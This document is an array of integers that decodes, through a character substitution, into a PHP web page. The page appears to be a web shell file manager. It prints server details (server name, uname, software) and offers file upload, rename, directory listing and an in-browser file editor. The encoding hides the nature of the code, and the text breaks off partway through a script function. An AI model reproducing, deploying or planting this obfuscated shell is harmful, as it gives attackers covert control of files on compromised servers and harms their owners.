77, 94, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 9, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 25, 70, 54, 63, 54, 63, 24, 77, 84, 90, 72, 77, 72, 64, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 91, 82, 65, 94, 93, 0, 25, 87, 82, 92, 81, 77, 15, 10, 1, 73, 65, 0, 25, 103, 84, 77, 77, 84, 86, 15, 10, 1, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 9, 9, 14, 9, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 64, 54, 63, 25, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 13, 9, 73, 65, 0, 25, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 8, 11, 9, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 23, 10, 91, 23, 11, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 54, 63, 25, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 90, 83, 82, 86, 90, 77, 82, 84, 83, 15, 25, 72, 85, 82, 93, 94, 82, 83, 25, 19, 23, 72, 25, 94, 90, 72, 94, 22, 84, 78, 77, 0, 54, 63, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 84, 80, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 23, 90, 11, 10, 13, 11, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 94, 87, 87, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 11, 11, 8, 23, 8, 23, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 76, 90, 87, 83, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 11, 90, 14, 90, 23, 90, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 25, 19, 93, 84, 77, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 84, 80, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 84, 80, 18, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 94, 87, 87, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 94, 87, 87, 18, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 76, 90, 87, 83, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 76, 90, 87, 83, 18, 0, 25, 70, 54, 63, 121, 80, 94, 66, 91, 87, 90, 86, 94, 72, 25, 72, 85, 82, 93, 94, 82, 83, 25, 64, 25, 91, 87, 84, 86, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 1, 73, 65, 18, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 9, 25, 70, 25, 77, 84, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 9, 18, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 10, 25, 70, 25, 70, 54, 63, 54, 63, 24, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 64, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 91, 82, 65, 94, 93, 0, 25, 82, 83, 72, 94, 77, 15, 9, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 83, 84, 83, 94, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 88, 94, 83, 77, 94, 87, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 87, 92, 103, 90, 17, 10, 13, 21, 25, 10, 23, 21, 25, 10, 11, 21, 25, 19, 11, 18, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 9, 9, 9, 9, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 88, 90, 87, 93, 64, 25, 76, 82, 93, 77, 81, 15, 86, 82, 83, 17, 2, 9, 9, 73, 65, 21, 25, 2, 14, 75, 76, 18, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 24, 23, 13, 10, 91, 23, 12, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 14, 14, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 11, 73, 65, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 81, 82, 93, 93, 94, 83, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 81, 94, 90, 93, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 25, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 18, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 72, 73, 90, 88, 94, 22, 103, 94, 77, 76, 94, 94, 83, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 77, 82, 77, 85, 94, 64, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 103, 84, 93, 66, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 90, 88, 77, 82, 84, 83, 72, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 91, 85, 94, 65, 22, 94, 83, 93, 0, 25, 103, 84, 87, 93, 94, 87, 22, 77, 84, 73, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 10, 10, 93, 23, 13, 0, 25, 70, 54, 63, 24, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 81, 94, 82, 92, 81, 77, 15, 14, 14, 75, 81, 0, 25, 87, 94, 72, 82, 79, 94, 15, 75, 94, 87, 77, 82, 88, 90, 85, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 10, 1, 10, 11, 10, 103, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 25, 78, 82, 22, 86, 84, 83, 84, 72, 73, 90, 88, 94, 21, 25, 104, 123, 118, 84, 83, 84, 22, 119, 94, 92, 78, 85, 90, 87, 21, 25, 118, 94, 83, 85, 84, 21, 25, 120, 84, 83, 72, 84, 85, 90, 72, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 118, 84, 83, 84, 39, 21, 25, 86, 84, 83, 84, 72, 73, 90, 88, 94, 0, 25, 70, 54, 63, 54, 63, 19, 91, 84, 84, 77, 94, 87, 64, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 1, 73, 65, 0, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 88, 94, 83, 77, 94, 87, 0, 25, 88, 84, 85, 84, 87, 15, 24, 88, 91, 88, 2, 93, 23, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 2, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 8, 73, 65, 0, 25, 70, 54, 63, 54, 63, 121, 86, 94, 93, 82, 90, 25, 17, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 25, 11, 13, 9, 73, 65, 18, 64, 54, 63, 25, 25, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 1, 73, 65, 25, 70, 54, 63, 25, 25, 77, 93, 15, 83, 77, 81, 22, 88, 81, 82, 85, 93, 17, 8, 18, 21, 25, 77, 81, 15, 83, 77, 81, 22, 88, 81, 82, 85, 93, 17, 8, 18, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 83, 84, 83, 94, 25, 70, 54, 63, 70, 54, 63, 5, 20, 72, 77, 66, 85, 94, 3, 54, 63, 5, 20, 81, 94, 90, 93, 3, 54, 63, 5, 103, 84, 93, 66, 3, 54, 63, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 76, 87, 90, 73, 73, 94, 87, 39, 3, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 81, 94, 90, 93, 94, 87, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 103, 87, 90, 83, 93, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 85, 84, 92, 84, 39, 3, 5, 82, 86, 92, 25, 72, 87, 88, 6, 39, 81, 77, 77, 73, 72, 15, 20, 20, 87, 90, 76, 19, 92, 82, 77, 81, 78, 103, 78, 72, 94, 87, 88, 84, 83, 77, 94, 83, 77, 19, 88, 84, 86, 20, 85, 84, 75, 94, 85, 82, 95, 90, 73, 94, 85, 82, 20, 79, 94, 82, 83, 81, 84, 87, 84, 103, 84, 72, 78, 20, 87, 94, 91, 72, 20, 81, 94, 90, 93, 72, 20, 86, 90, 82, 83, 20, 82, 86, 90, 92, 94, 19, 73, 83, 92, 39, 25, 90, 85, 77, 6, 39, 114, 88, 84, 83, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 81, 10, 3, 112, 122, 108, 119, 110, 112, 116, 5, 20, 81, 10, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 104, 94, 87, 75, 94, 87, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 78, 83, 90, 86, 94, 123, 78, 85, 85, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 114, 105, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 104, 84, 91, 77, 76, 90, 87, 94, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 87, 75, 94, 87, 109, 66, 73, 94, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 82, 93, 6, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 25, 88, 85, 90, 72, 72, 6, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 3, 117, 84, 90, 93, 82, 83, 92, 231, 185, 155, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 73, 90, 83, 94, 85, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 77, 84, 84, 85, 103, 90, 87, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 91, 84, 87, 86, 25, 82, 93, 6, 39, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 77, 66, 73, 94, 6, 39, 91, 82, 85, 94, 39, 25, 82, 93, 6, 39, 91, 82, 85, 94, 114, 83, 73, 78, 77, 39, 25, 88, 85, 90, 72, 72, 6, 39, 91, 82, 85, 94, 39, 25, 86, 78, 85, 77, 82, 73, 85, 94, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 39, 25, 77, 66, 73, 94, 6, 39, 72, 78, 103, 86, 82, 77, 39, 3, 110, 73, 85, 84, 90, 93, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 91, 84, 87, 86, 3, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 72, 77, 66, 85, 94, 6, 39, 91, 85, 94, 65, 15, 10, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 5, 91, 84, 87, 86, 25, 82, 93, 6, 39, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 39, 25, 72, 77, 66, 85, 94, 6, 39, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 88, 85, 90, 72, 72, 6, 39, 82, 83, 73, 78, 77, 39, 25, 77, 66, 73, 94, 6, 39, 77, 94, 65, 77, 39, 25, 82, 93, 6, 39, 84, 85, 93, 115, 90, 86, 94, 39, 25, 73, 85, 90, 88, 94, 81, 84, 85, 93, 94, 87, 6, 39, 116, 85, 93, 25, 83, 90, 86, 94, 19, 94, 65, 77, 39, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 3, 231, 187, 183, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 88, 85, 90, 72, 72, 6, 39, 82, 83, 73, 78, 77, 39, 25, 77, 66, 73, 94, 6, 39, 77, 94, 65, 77, 39, 25, 82, 93, 6, 39, 83, 94, 76, 115, 90, 86, 94, 39, 25, 73, 85, 90, 88, 94, 81, 84, 85, 93, 94, 87, 6, 39, 115, 94, 76, 25, 83, 90, 86, 94, 19, 94, 65, 77, 39, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 25, 72, 94, 88, 84, 83, 93, 90, 87, 66, 39, 25, 77, 66, 73, 94, 6, 39, 72, 78, 103, 86, 82, 77, 39, 3, 119, 94, 83, 90, 86, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 91, 84, 87, 86, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 77, 90, 103, 85, 94, 22, 76, 87, 90, 73, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 77, 90, 103, 85, 94, 25, 82, 93, 6, 39, 91, 86, 109, 90, 103, 85, 94, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 94, 90, 93, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 25, 72, 77, 66, 85, 94, 6, 39, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 11, 9, 73, 65, 39, 3, 115, 90, 86, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 109, 66, 73, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 104, 82, 79, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 117, 90, 72, 77, 25, 118, 84, 93, 82, 91, 82, 94, 93, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 122, 88, 77, 82, 84, 83, 72, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 81, 94, 90, 93, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 103, 84, 93, 66, 25, 82, 93, 6, 39, 91, 86, 7, 84, 93, 66, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 87, 3, 5, 77, 93, 25, 88, 84, 85, 72, 73, 90, 83, 6, 39, 14, 39, 25, 72, 77, 66, 85, 94, 6, 39, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 1, 39, 3, 117, 84, 90, 93, 82, 83, 92, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 231, 185, 155, 5, 20, 77, 93, 3, 5, 20, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 103, 84, 93, 66, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 77, 90, 103, 85, 94, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 91, 84, 84, 77, 94, 87, 39, 3, 27, 88, 84, 73, 66, 25, 79, 94, 82, 83, 81, 84, 87, 84, 103, 84, 72, 78, 5, 20, 93, 82, 75, 3, 54, 63, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 93, 82, 75, 25, 82, 93, 6, 39, 77, 84, 90, 72, 77, 72, 39, 25, 90, 87, 82, 90, 22, 85, 82, 75, 94, 6, 39, 73, 84, 85, 82, 77, 94, 39, 25, 90, 87, 82, 90, 22, 90, 77, 84, 86, 82, 88, 6, 39, 77, 87, 78, 94, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 93, 82, 75, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 39, 25, 90, 87, 82, 90, 22, 81, 82, 93, 93, 94, 83, 6, 39, 77, 87, 78, 94, 39, 3, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 88, 90, 87, 93, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 81, 94, 90, 93, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 77, 82, 77, 85, 94, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 39, 3, 126, 93, 82, 77, 25, 91, 82, 85, 94, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 25, 72, 94, 88, 84, 83, 93, 90, 87, 66, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 120, 85, 84, 72, 94, 39, 25, 77, 66, 73, 94, 6, 39, 103, 78, 77, 77, 84, 83, 39, 3, 120, 85, 84, 72, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 103, 84, 93, 66, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 77, 94, 65, 77, 90, 87, 94, 90, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 39, 25, 72, 73, 94, 85, 85, 88, 81, 94, 88, 80, 6, 39, 91, 90, 85, 72, 94, 39, 3, 5, 20, 77, 94, 65, 77, 90, 87, 94, 90, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 90, 88, 77, 82, 84, 83, 72, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 104, 90, 75, 94, 39, 25, 77, 66, 73, 94, 6, 39, 103, 78, 77, 77, 84, 83, 39, 3, 104, 90, 75, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 72, 88, 87, 82, 73, 77, 3, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 77, 84, 90, 72, 77, 17, 86, 72, 92, 21, 25, 77, 66, 73, 94, 6, 28, 84, 80, 28, 21, 25, 77, 82, 86, 94, 84, 78, 77, 6, 23, 11, 9, 9, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 76, 87, 90, 73, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 77, 84, 90, 72, 77, 72, 28, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 94, 85, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 17, 28, 93, 82, 75, 28, 18, 0, 54, 63, 25, 25, 94, 85, 19, 88, 85, 90, 72, 72, 115, 90, 86, 94, 25, 6, 25, 28, 77, 84, 90, 72, 77, 25, 28, 25, 16, 25, 77, 66, 73, 94, 0, 54, 63, 25, 25, 94, 85, 19, 82, 83, 83, 94, 87, 113, 109, 118, 117, 25, 6, 25, 89, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 93, 84, 77, 39, 3, 5, 20, 72, 73, 90, 83, 3, 5, 93, 82, 75, 3, 29, 64, 86, 72, 92, 70, 5, 20, 93, 82, 75, 3, 89, 0, 54, 63, 25, 25, 76, 87, 90, 73, 19, 90, 73, 73, 94, 83, 93, 120, 81, 82, 85, 93, 17, 94, 85, 18, 0, 54, 63, 25, 25, 72, 94, 77, 109, 82, 86, 94, 84, 78, 77, 17, 17, 18, 6, 3, 64, 25, 94, 85, 19, 72, 77, 66, 85, 94, 19, 84, 73, 90, 88, 82, 77, 66, 6, 28, 9, 28, 0, 25, 94, 85, 19, 72, 77, 66, 85, 94, 19, 77, 87, 90, 83, 72, 91, 84, 87, 86, 6, 28, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 11, 73, 65, 18, 28, 0, 25, 70, 21, 25, 77, 82, 86, 94, 84, 78, 77, 18, 0, 54, 63, 25, 25, 72, 94, 77, 109, 82, 86, 94, 84, 78, 77, 17, 17, 18, 6, 3, 64, 25, 94, 85, 19, 87, 94, 86, 84, 75, 94, 17, 18, 0, 25, 70, 21, 25, 77, 82, 86, 94, 84, 78, 77, 16, 8, 14, 9, 18, 0, 54, 63, 70, 54, 63, 54, 63, 88, 84, 83, 72, 77, 25, 72, 77, 90, 77, 94, 25, 6, 25, 64, 54, 63, 25, 25, 73, 90, 77, 81, 15, 25, 39, 5, 4, 6, 25, 29, 72, 77, 90, 77, 94, 105, 90, 77, 81, 25, 4, 3, 39, 21, 54, 63, 25, 25, 94, 93, 82, 77, 82, 83, 92, 15, 25, 64, 25, 83, 90, 86, 94, 15, 25, 83, 78, 85, 85, 25, 70, 54, 63, 70, 0, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 77, 84, 113, 94, 65, 17, 72, 77, 87, 18, 64, 